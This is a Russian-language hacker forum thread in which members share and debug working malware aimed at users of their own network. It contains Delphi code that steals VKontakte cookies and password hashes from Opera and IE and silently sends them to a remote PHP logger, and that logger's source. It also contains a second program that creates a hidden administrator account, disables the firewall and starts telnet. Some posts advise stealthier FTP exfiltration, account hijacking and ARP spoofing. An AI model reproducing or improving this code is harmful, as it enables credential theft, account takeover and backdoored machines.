Вот написал меленькую программку для пользователей своей сети, может кому будет интерсено Code: program killall; {$APPTYPE CONSOLE} uses SysUtils,windows,ShellAPI; //-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ-------------------------------- function GetUserFromWindows: string; var UserName : string; UserNameLen : Dword; begin UserNameLen := 255; SetLength(userName, UserNameLen); if GetUserName(PChar(UserName), UserNameLen) then Result := Copy(UserName,1,UserNameLen - 1) else Result := 'Unknown'; end; //------------------------------------------------------------------------------ //-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------ function GetSystemDisk: string; var S: array[0..MAX_PATH] of Char; begin GetWindowsDirectory(S,SizeOf(S)); Result:=copy(S,0,1); end; //------------------------------------------------------------------------------ var User,Disc,mail,hash,id,startdir:string; coock,st,mask:string; f:TextFile; i:integer; searchrec : tsearchrec; Opera,IE: string; begin Disc:=GetSystemDisk; User:=GetUserFromWindows; Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat'; if FileExists(Opera) then begin AssignFile(f,Opera); Reset(f); for i:=0 to 500 do begin Readln(f, st); coock:=coock+st; end; delete(coock,1,pos('remixemail',coock)+12); mail:=copy(coock,0,pos(#18,coock)-1); delete(coock,1,pos('remixpass',coock)+11); hash:=copy(coock,0,pos(#18,coock)-1); delete(coock,1,pos('remixsid',coock)+9); id:=copy(coock,0,pos(#18,coock)-1); ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE); end; startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\'; mask := '*.*'; if findfirst(startdir+mask, faanyfile, searchrec) = 0 then begin repeat if pos('vkontakte',searchrec.name)<>0 then begin AssignFile(f,startdir+searchrec.name); Reset(f); for i:=0 to 500 do begin Readln(f, st); coock:=coock+st; end; delete(coock,1,pos('remixemail',coock)+9); mail:=copy(coock,0,pos('vkon',coock)-1); delete(coock,1,pos('remixpass',coock)+11); hash:=copy(coock,0,pos('vkon',coock)-1); delete(coock,1,pos('remixsid',coock)+9); id:=copy(coock,0,pos('vkon',coock)-1); ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE); end; until findnext(searchrec) <> 0; end; end. и код снифера(snif.php) PHP: <?php $fp=fopen("sn.html","a+t"); fputs($fp," Время: ".date("[D d/m/Y H:i]")."<br> Мыло: ".$_GET['m']."<br> Хэш: ".$_GET['h']."<br> ID: ".$_GET['i']."<br> Браузер: ".$_GET['t']."<br><br> "); fclose($fp); header("Location: http://google.ru"); ?>
идея прикольная в проге недаработки 1) открываешь файл и почемуто считываешь 500 строк (как я понял в делфи не селен) и там уже ишешь строку нужную... а если файл намного больше? 2) а если там нет кук вконтакта, тогда что? тогда она наверное вылетит с ошибкой или в лучшем случае пошлет пустые параметры. 3) для отправки ты как я смотрю используешь тупа выполнить... и параметры передаешь в GET запросе - а ведь GET запросы остаются в логах веб сервера... вывод POST и WINSOCK
кстати реализовать можно намного проще... архивировать куки и используя системную комманду ftp (фаер побреется...) скрытно передавать их на свой ftp... а потом тиха разбирать, я думаю кроме контакта найдутся еще куча кук на интересные сервисы. хотя это все рутина )) прогой анализировать круче хех на основе данных можно сделать активный снифер кук. взял куки с харда зашел поменял пароль - ты насяльника
А я для пользователей своей сети использую. ARP spoofing + Wireshark. Больше интересного вытащить можно)
Вот ещё интересная вещь, но старая Code: { *********************************************************************** } { Delphi 7 } { JeDaSe ICQ:8673900 } { exec telnet & kill SharedAccess } { *********************************************************************** } program PsevdoSHELL; {$APPTYPE CONSOLE} uses SysUtils,windows; var Login,pass:string; begin Pass:='Hackers'; // Пароль пользователя(взломщика) Login:='Hackers';// Логин winexec(PChar('cmd.exe /c net user '+Login+' '+Pass+' /add'),sw_normal);//Добавляем пользователя winexec(PChar('cmd.exe /c net localgroup "Администраторы" '+Login+' /add '),sw_normal);//Делаем его админом winexec(PChar('cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "'+Login+'" /t REG_DWORD /d 00000000'),sw_normal); winexec(PChar('cmd.exe /c sc config wscsvc start= disabled'),sw_normal); winexec(PChar('cmd.exe /c sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер winexec(PChar('cmd.exe /c sc config tlntsvr start= auto'),sw_normal); winexec(PChar('cmd.exe /c sc stop wscsvc'),sw_normal); winexec(PChar('cmd.exe /c sc stop SharedAccess '),sw_normal); winexec(PChar('cmd.exe /c sc start tlntsvr '),sw_normal); //запускаем телнет end. отключает брендмауер и запускает телнет
а без этого bat файлом сложно ? Кстати код не идеален, сработает только на рус винде, и только если прогу запутил админ
CloseFile забыл =) Плюс, действительно считывать надо не 500 строк: Code: while not EOF(f) do begin Readln(f, st); cook:=cook+st; end; А вообще - зачет. Надо будет раскидать по сети ))
Если чисто весь файл в мемо кинуть то он не отображаетсо =// неподскажеш чтоб все куки грабились чё сделать?))))
Все отображается. Прекрасно. Можешь не в мемо кидать построчно, а Memo1.Lines.LoadFromFile, или же Code: var str:TStrings; begin str:=TStringList.Create str.LoadFromFile('filename'); ... str.Free; end;
а моя не внимательность проблемы были с переменой) токо вот чёт PHP: while not EOF(f) do begin Readln(f, st); cook:=cook+st; end; не грузит весь файл))
Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14
ex3me, токо пример с 14-го поста не проканал =/ Делал так: PHP: str:=TStringList.Create; str.LoadFromFile(Opera); memo1.Lines.AddStrings(str); str.Free; не подскажеш как разгребсти их в читабельный вид?))) а это это ппц всё вместе)
аналогично не пашет) простой файл грузит, а файл с куками нет) PHP: str:=TStringList.Create; str.LoadFromFile(Opera); memo1.Lines.Assign(str); str.Free;
ну дык нуль терминейт символы в файле есть храни во времнном буфере, и открывай вот так файл var FS: TFileStream; buf: array of char; // временный буфер begin FS:=TFileStream.Create('path of file', fmOpenRead); SetLength(buf, FS.size+1); FS.Read(buf, FS.Size); FS.Free; Блин не построчно (Readln), а посимвольно(Read) читать надо